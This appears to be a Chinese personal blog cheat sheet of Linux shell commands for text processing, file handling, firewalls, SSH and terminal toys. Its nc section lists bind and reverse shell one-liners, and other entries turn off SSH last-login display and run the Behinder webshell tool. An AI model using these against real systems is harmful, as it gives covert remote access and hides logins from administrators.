对爱情的渴望,对知识的追求,对人类苦难不可遏制的同情,这三种纯洁而无比强烈的激情支配着我的一生。

# ls

1
2
# 只显示文件夹
ls -d */

1
2
#显示所有子文件夹的子文件
ls */*

1
2
#将下划线变为空格
ls | sed 's/_/ /g'

1
2
#以点为分割取第一部分
ls | cut -d "." -f 1

1
2
# 选取切割后的第二列到最后一列
ls | cut -d "_" -f 2-

1
2
#对ls的输出结果添加前缀和后缀
ls | sed 's/^/Save_/' | sed 's/$/_In_Path/'

1
2
# 以点为分割,不包括最后一项
ls | cut -d '.' -f 1-$(($(ls | head -n 1 | tr -dc '.' | wc -c)+1)) | rev | cut -d '.' -f 2- | rev

# cat

1
2
# cat的结果中添加前缀和后缀
cat 1.txt | sed 's/^/mv /g;s/$/ ..\/..\/..\/del_plg\//g'

1
2
# 删除文件前后所有的空格
cat 1.txt | sed 's/^[[:space:]]*//;s/[[:space:]]*$//'

1
2
# 消除序号的影响
cat 1.txt | cut -d '.' -f 2 | sed 's/^[[:space:]]*//'

1
2
# 去掉空行
cat 1.txt | awk ' {if ($0!="")print}'

1
2
# 去掉文本的换行符,连文件末尾换行符也去掉
cat 1.txt | xargs echo -n

1
2
# 去掉文本的换行符,会保留文件末尾的换行符
cat 1.txt | xargs

1
2
# 去除空行和首处的空格
cat 1.txt | sed '/^$/d' | sed 's/^[[:space:]]*//'

1
2
# 将1.txt文件中每行第三个下划线后的单词的首字母变为大写
cat 1.txt | cut -d "_" -f 3- | awk '{print toupper(substr($0,1,1)) substr($0,2)}' | sed 's/^/Lateral_Penetration_/g'

1
2
# 将后缀改为.rule,去掉换行符,并cp到另外的目录
cat 1.txt | sed 's/.yaml//g;s/$/.rule/g;s/!/\\\\!/g' | xargs | sed 's/^/cp /g;s/$/ \/Users\/chentuo\/Public\/xxxxxx\/插件运营\/自动上传脚本\/威胁防护CI_CD加密\//g'

# for

1
2
# 批量压缩文件
for dir in $(ls -d */); do zip -r "${dir%/}.zip" "$dir";done

1
2
# 批量修改文件名,将点替换为-
for file in *; do mv "$file" "${file//./_}"; done

1
2
# 仅保留文件名中的最后6个字符
for file in *; do new_file_name="${file:(-6)}";mv "$file" "$new_file_name";done

1
2
# 批量修改文件名字
i=10000; for file in *; do mv "$file" "$i".jpeg; i=$((i+1)); done

1
2
3
# 批量增加前缀和删除前缀
for i in `ls` ; do mv "$i" "【前缀】$i";done
for i in `ls` ; do mv "$i" `echo "$i" | cut -d "】" -f 2-`;done

1
2
# 生成自己需要的循环的内容
for i in {20000..20130};do echo '![](/N1h1l157/Linux/'$i'.png)' >> 1.txt;done

# find

1
2
# 批量修改文件名,将空格替换为划线
find * -depth -name '* *' -execdir bash -c 'mv "$0" "${0// /-}"' "{}" \;

1
2
# 递归查找名为"here"的文件夹,并打印其完整路径
find . -type d -name "here" -print

1
2
# 搜索当前目录下此文件,包括各级子目录
find . -name "filename.txt" -print

1
2
# 列出当前目录下的所有文件
find . -type f -exec echo {} \;

1
2
# 过滤当前目录下的./image文件夹,打印其他目录下的所有文件
find . -path ./image -prune -o -type f -exec echo {} \;

1
2
# 过滤多文件
find . \( -path ./image -o -path ./resource \) -prune -o -type f -exec echo {} \;

# rename

1
2
#重命名文件将-用.替换
rename 's/-/./g' *

# du

1
2
# 统计大小
du -sh *

# scp

1
2
3
4
5
6
7
8
9
10
11
12
13
# scp免密设置 - sudo vim ~/.ssh/config
# 设置之后可以通过 ssh root@linux1 连接,并且免密
Host linux1
Hostname 1.117.52.219
User root
Port 2121
IdentityFile /etc/ssh/chentuo_cloud.pem

# 或者不设置 hostname,通过 ssh root@47.102.120.55 免密连接
Host 47.102.120.55
User root
Port 22
IdentityFile ~/.ssh/aliyun_1106_rsa

# hash

1
2
# 计算sha256值
shasum -a 256 filename-1.txt

1
2
# 输出转为大写
shasum -a 256 filename-1.txt | awk '{print toupper($0)}'

# jq

1
2
3
# json 格式标准化输出
cat 1.json | jq
jq . 1.json

# curl

1
2
3
4
5
# curl如何走代理
curl --socks5 "127.0.0.1:7890" "http://httpbin.org/ip"

# 查询某个ip的归属地
curl cip.cc/8.8.8.8


# tr

1
2
3
4
5
6
7
# 不打印消息拷贝
# windows
cat ~/.ssh/id_ed25519.pub | clip

# linux
xclip -sel clip < ~/.ssh/id_ed25519.pub
cat /lib64/libm.so.6 | xclip -sel clip
1
2
# mac
cat 1.json | pbcopy

1
2
# mac
tr -d '\n' < ~/.ssh/id_rsa.pub | pbcopy

# ps

1
2
# 查看当前运行了哪些服务
ps -ef | grep Linux

# conda

1
2
3
4
# 查看当前有哪些环境
conda env list
# 新建一个python3.7的conda环境
conda create -n test python=3.8

1
2
3
# 激活环境与退出环境
conda activate test
conda deactivate

# uname

1
2
3
4
# 查看当前核心版本号
uname -a
# 查看当前内核版本
uname -r

# lsof

1
2
3
# 查看端口是否被占用
lsof -i:10086
lsof -i:10086 | grep -v PID | awk '{print $2}' | xargs kill -9

1
2
# 杀掉80端口的进程
lsof -i:10086 | awk '{print $2}' | grep -v 'PID' | uniq | xargs kill -9

# grep

1
2
# 排除某字段,取前几行、后几行
cat url.txt | cut -d ':' -f 2 | sed 's/\/\///g'| grep -v url | uniq | tail -n 10 | head -n 10 | xargs open

1
2
# 去掉空行与注释行
sudo cat /etc/sudoers | grep -v '#' | grep -v '^\s*$'

1
2
# 批量过滤
cat .bash_history | grep -v "#\|ls\|cd\|ll\|clear\|neofetch\|man\|sl"

1
2
3
# 过滤出 uncompression 字段的文件是哪个
grep -lH "uncompression" *
grep -lH "人生困惑" *.md

# cp

1
2
#复制多个具有相同规则的子文件夹中的内容到另外一个文件夹中 
cp -r *Trojan/* ../test

# ln

1
2
3
4
5
# linux创建链接软命令,ln -s 源文件 目标文件
ln -s /usr/bin/whoami /usr/bin/n1h1l157

# -f命令的意思是强制执行,意味着如果不存在就执行创建,存在就执行覆盖掉
ln -sf /usr/bin/id /usr/bin/n1h1l157

# vim

1
2
# Linux所有行用vim进行前缀插入
:%s/^/Prefix


1
2
# Linux所有行用vim进行后缀插入
:%s/$/Suffix


1
2
3
# linux vim删除多行内容:
将光标移动到需要删除的行,按一下ESC键,确保退出编辑模式
在dd命令前面加上要删除的行数,如要删除第4行以下的3行,按下3 dd

# sed

1
2
# 添加行
sed -i '5i\ new line' deafult.txt

1
2
# 删除行
sed -i '5,7d' deafult.txt

1
2
# 查看行
sed -n '4,8p' deafult.txt

1
2
# 首行尾行都添加单引号
sed 's/^/"/;s/$/"/' deafult.txt

1
2
# 关闭最后登陆的日志
sed -i 's/#PrintLastLog yes/PrintLastLog no/g' /etc/ssh/sshd_config;systemctl restart sshd

1
2
# 开启最后登陆的日志
sed -i 's/PrintLastLog no/#PrintLastLog yes/g' /etc/ssh/sshd_config;systemctl restart sshd

1
2
# 开启网络传输日志
sed -i 's/#Banner none/Banner \/etc\/issue.net/g' /etc/ssh/sshd_config;systemctl restart sshd;echo -e "hellow\nworld" > /etc/issue.net

1
2
# 关闭网络传输日志
sed -i 's/Banner \/etc\/issue.net/#Banner none/g' /etc/ssh/sshd_config;systemctl restart sshd;echo > /etc/issue.net

1
2
# 关闭 logo 显示
修改 ~/.bashrc, 注释掉 neofetch

# awk

1
2
# awk打印具体列数
netstat -tunlp | grep 10086 | awk '{print $7}' | cut -d '/' -f 1

1
2
#删除第一列
ll | awk '{$1="";print $0}'

# history

1
2
# 过滤出10条最常用的命令
history | awk '{CMD[$2]++;count++;} END { for (a in CMD )print CMD[ a ]" " CMD[ a ]/count*100 "% " a }' | grep -v "./" | column -c3 -s " " -t |sort -nr | nl | head -n10

# nc

1
2
3
# nc测试本地端口是否开放
nc -zv localhost 10086
telnet 127.0.0.1

1
2
3
#nc通过终端聊天
nc -lvvp 4444
nc 127.0.0.1 4444

1
2
3
# 正向反弹shell
被控端:nc -lvp 4444 -e /bin/bash
控制端:nc 127.0.0.1 4444

1
2
3
# 反向反弹shell:
控制端:nc -lvp 4444
被控端:nc 127.0.0.1 4444 -e /bin/bash

1
2
3
# 反弹shell,在被控端输入信息,将被控端的信息全部导出到回显端
被控端:/bin/sh -i 2>&1 | nc 127.0.0.1 4444
回显端:nc -lvp 4444


# firewalld

1
2
3
4
5
6
# 安装
yum install firewalld
systemctl status firewalld 
systemctl restart firewalld
systemctl stop firewalld
systemctl disable firewalld

1
2
3
4
# 开启端口
firewall-cmd --zone=public --list-ports
firewall-cmd --zone=public --add-port=10086/tcp --permanent
firewall-cmd --reload

1
2
3
4
# 关闭端口
firewall-cmd --zone=public --list-ports
firewall-cmd --zone=public --remove-port=10086/tcp --permanent
firewall-cmd --reload

# nohup

1
2
# 有日志的后台输出
nohup java -jar Behinder.jar &

1
2
# 无日志的后台输出
nohup java -jar Behinder.jar >/dev/null 2>&1 &

# docker

1
2
#查询所有的容器,过滤出Exited状态的容器,列出容器ID,删除这些容器
docker rm `docker ps -a|grep Exited|awk '{print $1}'`

1
2
#删掉所有的docker镜像
docker rmi $(docker images -q)


# rpm

1
2
# 安装一个包
rpm -ivh
1
2
# 升级一个包
rpm -Uvh
1
2
# 卸载一个包
rpm -e
1
2
3
#查询当前安装的所有rpm包
rpm -qa
rpm -qa | grep -i chrome
1
2
#查询httpd安装路径
rpm -ql 包全名

# tar

1
2
3
# 压缩、解压gz文件
tar -zcvf filename.tar.gz filename
tar -zxvf filarename.tar.gz

1
2
3
# 压缩当前目录下全部内容、解压zip文件
zip -r filename.zip ./*
unzip filename.zip

1
2
# 指定解压路径
tar -zxvf ../1.tar.gz -C ../

# iconv

1
2
# 获取归属地并编码为utf-8
curl http://whois.pconline.com.cn/ip.jsp -s | iconv -f gbk -t utf8 > /tmp/x ; vim /tmp/x +"d1" +"d1" +"wq";cat /tmp/x

# tail

1
2
# 排除第一行的日志
cat deafult.txt | tail -n +2

# lrzsz

1
2
3
4
5
# 比如xshell或者SecureCRT才可以使用,需要修改默认路径
yum install -y lrzsz.x86_64

# sz:将选定的文件发送(send)到本地机器
sz 1.tar.gz

1
# rz:运行该命令会弹出一个文件选择窗口,从本地选择文件上传到服务器(receive)

# EOF

1
2
3
4
# EOF 基本使用
cat > .. << EOF
xxx
EOF

1
2
3
4
5
6
7
# 直接在宿主机上执行命令
ssh -T root@10.255.200.72 'id'

# 不产生交互式shell, 直接执行命令
ssh -T root@10.255.200.72 << 'EOF'
whoami
EOF

# iptables

1
2
3
4
5
# 查看是否安装
iptables -V

# 安装
yum install iptables-services
1
2
3
4
5
# 查看防火墙的状态 
systemctl status iptables.service
systemctl stop iptables.service
systemctl start iptables.service
systemctl restart iptables.service

1
2
3
4
# 查询防火墙开放端口
iptables -L -n
iptables --list-rules
iptables -L -n --line-number


1
2
3
4
5
6
7
8
9
# 允许所有服务器访问指定端口
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT

# 保存iptables规则
service iptables save

# 查看iptables的配置文件
cat /etc/sysconfig/iptables

1
2
# 将新增的规则放在iptables规则页的首处
iptables -I INPUT -p tcp --dport 111 -j ACCEPT

# crontab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 编辑定时任务
crontab -e

# 查看定时任务
crontab -l

# “*”表示“任意值”,分别为 分、时、天、月、周
# 表示任务将在每个星期日的凌晨2点40分执行
“40 2 * * 0”

# 每两天运行一次的任务,"*/2"表示每隔两天
"* * */2 * *"

# 任务将在每天凌晨3点执行
"0 3 * * *"

# ufw

1
2
# 安装防火墙
yum install ufw
1
2
3
4
5
6
7
# 开启关闭
ufw enable
ufw status
ufw status verbose
ufw disable
ufw allow 10086
ufw delete allow 10086

# proxychians4

1
2
3
4
5
# 查看使用的代理
cat /opt/homebrew/etc/proxychains.conf | tail -n 2 | grep -v "#"

# 要使用brew的curl才可以
proxychains4 /opt/homebrew/Cellar/curl/8.0.1/bin/curl 127.0.0.1:8080

# export

1
2
3
4
5
# 设置代理
export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890

# 取消代理
unset http_proxy & unset https_proxy

# ˆliˆil

1
2
3
4
# ˆoldˆnew。假如我在查看 file1 后 接着想查看 file4,那么只要执行 ˆ1ˆ4:
cat file1
ˆ1ˆ4
cat file4

1
2
3
4
# 有时候我们想不只替换一处,而是把上一条命令中的每处内容都替换掉。要实现这种效果,可以使用 !:gs/old/new
cat file4.txt file5.txt
!:gs/file/nnn
cat nnn4.txt nnn5.txt

# !!

1
2
3
# !! 让我们以最快的方式重复执行上一条命令
id
!!

1
2
3
4
# !! 经常与 sudo 联用,用来解决缺少权限的问题。例如:
whoami
sudo !!
sudo whoami

# !

1
2
3
4
5
6
7
# 利用 !foo 这种表示法允许我们执行以 foo 这三个字符打头的命令。Shell 将 以逆序的方式搜索历史命令列表,一旦与给定的开头字符匹配到,便予以执行该条命令。
!he
help

# 在 ! 后面除了可以跟一个字符串之外,也可以跟一个数字。这个数字代表历史 命令列表中的编号。当我们用 history 查看历史命令列表时,命令左边显示的 即是该行命令的编号。
history 5
!52

1
2
3
4
5
# 利用 !-2,我经常使用的一个场景是,先用文本编辑器编辑源代码,接着再编 译源代码。如果我需要再次编辑和编译,那么只要反复执行 !-2 即可。如此不 断循环。
nvim first.c
gcc -o first first.c
!-2 # 再编辑
!-2 # 再编译

# !$ 和!^

1
2
3
4
5
6
7
# !$,它允许我直接复用上一条命令的最后一位参数
mkdir videos
cd !$

# 与最后一位参数相反,!ˆ 能够让我们引用上一条命令中最开头的参数
ls /usr/share/doc /usr/share/man
cd !ˆ

1
2
3
# 要引用的是上一条命令的所有参数。
ls src code
cp -r !*

1
2
3
# 对于引用上一条命令中的参数,我们甚至可以要求 Shell 精确到具体的第几个。
touch foo.txt bar.txt baz.txt
cat !:2

1
2
3
# 引用从 m 到 n 的参数
touch foo.txt bar.txt baz.txt
cat !:1-2

1
2
3
4
# 引用从 n 到最后的参数
# 此处的 !:2* 允许我将 hosts 和 hostname 同时打开进行编辑。
cat /etc/resolv.conf /etc/hosts /etc/hostname
cat !:2*

# !$

1
2
3
4
5
# :h 为修饰符,意味着截取路径的开头部分(head)
ls ~/Downloads/test/resource
# !$:h可获取前一部分路径
cd !$:h
cd ~/Downloads/test/
1
2
3
4
5
# 通过 :t 修饰符,我们可以引用路径的结尾部分(tail)
wget http://nginx.org/download/nginx-1.15.8.tar.gz
# 经过 !$:t 引用后,我们的命令变成了
tar zxvf !$:t
tar zxvf nginx-1.15.8.tar.gz

1
2
3
4
# 对于存在文件名的情形,可以利用 :r 修饰符来只引用文件名部分(这将排除掉扩展名)。例
unzip hello.zip
cd !$:r
# 这里的 !$:r 将 hello.zip 去掉扩展名,只保留 hello 部分。

1
2
3
4
5
# Shell 还支持将多个修饰符进行联用,在它们之间只需使用冒号分隔即可。例如:
ls ~/Downloads/test/resource
echo !$:t:u
echo TRUETYPE
# 先用 :t 引用了路径的结尾部分,然后又使用 :u 将其更改为了大写字母。

# Emacs —

1
2
3
# bash 和 zsh 两个都支持使用 set 指令来设置命令行编辑模式
set -o vi
set -o emacs
1
2
3
4
5
6
# 在命令行输入一些字符
Ctrl + b 向左移动一个字符
Ctrl + f 往右移动一个字符
Ctrl + d 删除光标右边的字符
退格键 删除光标左边的字符
Ctrl + t 将光标左边的两个字符交换顺序
1
2
3
4
5
# 按键作用
Ctrl + a 将光标移到行首(最左边)
Ctrl + e 将光标移到行尾(最右边)
Ctrl + k 从光标处往右删除至行尾
Ctrl + u 从光标处向左删除至行首

# tree

1
2
3
4
5
# 只显示目录,不显示文件
tree -d -L 2

# 显示深度为2级
tree -L 2

# echo

1
2
# bash脚本中设置文本不换行
echo -n "gL2JqktKqFbkyUM4" > 111.txt

# CDPATH

1
2
3
4
5
# 利用$CDPATH,我们能够将常用的目录保存起来,以便 cd 为我们直接转到这些目录
CDPATH=:~:~/Public/23:~/Public/

# 加到 $CDPATH 路径列表的目录为待导航的目标目录 的父目录
cd 22

# alias

1
2
3
4
5
6
7
8
# 设置别名,方便通过简易名称使用命令
alias ..='cd ..'
alias ...='cd ../..'
alias ....='cd ../../..'
alias ls='ls --color=auto'
alias l='ls -lah --color=auto'
alias la='ls -AF --color=auto'
alias ll='ls -lFh --color=auto'

# {}

1
2
3
4
5
# 备份文件,相当于 cp linpeas_linux_amd64 linpeas_linux_amd64.bak
cp linpeas_linux_amd64{,.bak}

# 压缩文件,相当于 tar -zcvf log.txt.tar.gz log.txt
tar -zcvf linpeas_linux_amd64{.tar.gz,}

1
2
3
4
5
# 打印序列
echo {a..z}
echo {01..10}
echo {1..9..2}
for i in {1..9..2};do echo $i;done | pbcopy

1
2
# 批量下载文件
wget https://linuxtoy.org/img/{1..5}.png -q

1
2
3
# 连用和嵌套
mkdir -p 2019/{01..12}/{baby,photo}
echo {{A..Z},{a..z},{0..9}}

# z.lua

1
2
3
# 快速路径切换工具 z.lua
which lua lua5.1 lua5.2 lua5.3
git clone https://github.com/skywind3000/z.lua.git ~/.z.lua
1
2
3
4
5
# 添加到环境变量中
eval "$(lua ~/.z.lua/z.lua --init zsh)"

# 在默认设置下,z.lua 将所有访问的路径都保存到了 ~/.zlua 文件中
z p

1
2
3
4
5
# -i:交互模式,如果有多个匹配结果的话,那么z.lua将展示一个列表
z -i p
2: 24 /home/xx/tmp
1: 48 /home/xx/prj
>
1
2
# -b:这个选项在深层次目录中跳转特别有用,它可以将我们快速带回某一级的父目录
z -b do

# HSTR

1
2
3
4
5
6
7
8
9
# ctrl + r 是自带的,但是没那么好用
# 命令行直接输入 hh 并按回车键
cd ~/cli
xiaodong@codeland:~/cli$ hh

• 下方向键或 Ctrl + n:向下移动一行
• 上方向键或 Ctrl + p:往上移动一行
• Ctrl + f:将命令添加到收藏夹
• Delete 键:删除命令,根据提示按 y 将确认删除

# paste

1
2
# 将两个文本文件按照行一一对应合并
paste -d ',' deafult1.txt deafult2.txt

# asciinema

1
2
3
# Asciinema 是一个命令行屏幕录制工具,可以帮助你记录并分享终端会话
# 安装 asciinema
brew install asciinema
1
2
3
4
5
6
7
8
9
10
11
12
# 启动屏幕录制功能
asciinema rec

# 停止录制
# 当你完成了终端会话录制后,可以按下 Ctrl+D 或输入 `exit` 命令来停止录制
# 或者按回车上传到 asciinema.org 网站上临时存储

# 本地播放 cast 文件
asciinema play /var/folders/dt/4tq856fn683_ytdsqbk5271c0000gn/T/tmp2n2mfpq1-ascii.cast

# 上传到 Asciinema 官网上,并获取共享链接
asciinema upload /path/to/recording.cast


# bat

1
2
3
4
5
6
# Bat 是一个类似于 cat 命令的工具,可以显示带有语法高亮的文件内容。
# 安装 bat
brew install bat

# 查看文件内容:在终端中输入 `bat` 命令来查看文件内容。例如:
bat /path/to/file.txt | less
1
2
3
4
5
# Bat 支持多种语言的语法高亮
bat -l python /path/to/file.py

# 查看 bat 支持的语言
bat --list-languages

# systemctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# reboot 之后自启动的 docker 容器
# 编写 /etc/systemd/system/mrdoc.service
cat > /etc/systemd/system/mrdoc.service << EOF
[Unit]
Description=Docker container for mrdoc
Requires=docker.service
After=docker.service

[Service]
Restart=always
ExecStart=/usr/bin/docker start mrdoc
ExecStop=/usr/bin/docker stop mrdoc

[Install]
WantedBy=multi-user.target
EOF

# 运行以下命令来重新加载 Systemd 配置,并启用服务
systemctl daemon-reload
systemctl enable mrdoc.service

# 运行以下命令来启动服务、停止、重起 mrdoc 服务
systemctl stop mrdoc.service
systemctl restart mrdoc.service
systemctl disable mrdoc.service

# hwclock

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看系统时钟
date

# 查看硬件时钟的操作: 
hwclock --show
clock --show

# 设置硬件时钟的操作: 
hwclock --set --date="11/13/2017 09:26:00"
clock --set --date="11/13/2017 09:26:00"

# 硬件时钟与系统时钟同步:
hwclock --hctosys
clock --hctosys

# script

1
2
3
4
5
6
7
8
# 从2.txt文件中逐行读取内容,并将每一行的内容作为文件名创建文件
#!/bin/bash
filename="2.txt"
while IFS= read -r line
do
echo "$line" > "$line"
echo "Created file: $line"
done < "$filename"

# play

1
2
3
4
# 山羊logo 苹果logo 
neofetch --ascii_distro AIX
neofetch --ascii_distro GNU
neofetch --ascii_distro BSD



1
2
# 抽象字体
figlet N1h1l157.github.io

1
2
# 一句话
fortune

1
2
3
4
5
6
# 数字矩阵
cmatrix -a -s
cmatrix -r
cmatrix -m
cmatrix -abBcfsmx -C red
cmatrix -abcm -C green





1
2
# 火车
sl

1
2
# 龙 logo
cowsay -f dragon-and-cow "n1h1l157"

1
2
# 查看天气
curl wttr.in

1
2
# 图片变为终端显示
asciiview /Users/chentuo/Public/recourses/my_image/1.png

1
2
# 贪吃蛇
nsnake

1
2
# 数字游戏
greed

1
2
# 跳跳车
moon-buggy

1
2
3
4
5
# 资源监视器
htop
vtop
gtop
bashtop




1
2
# 剩余磁盘统计
ncdu


更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝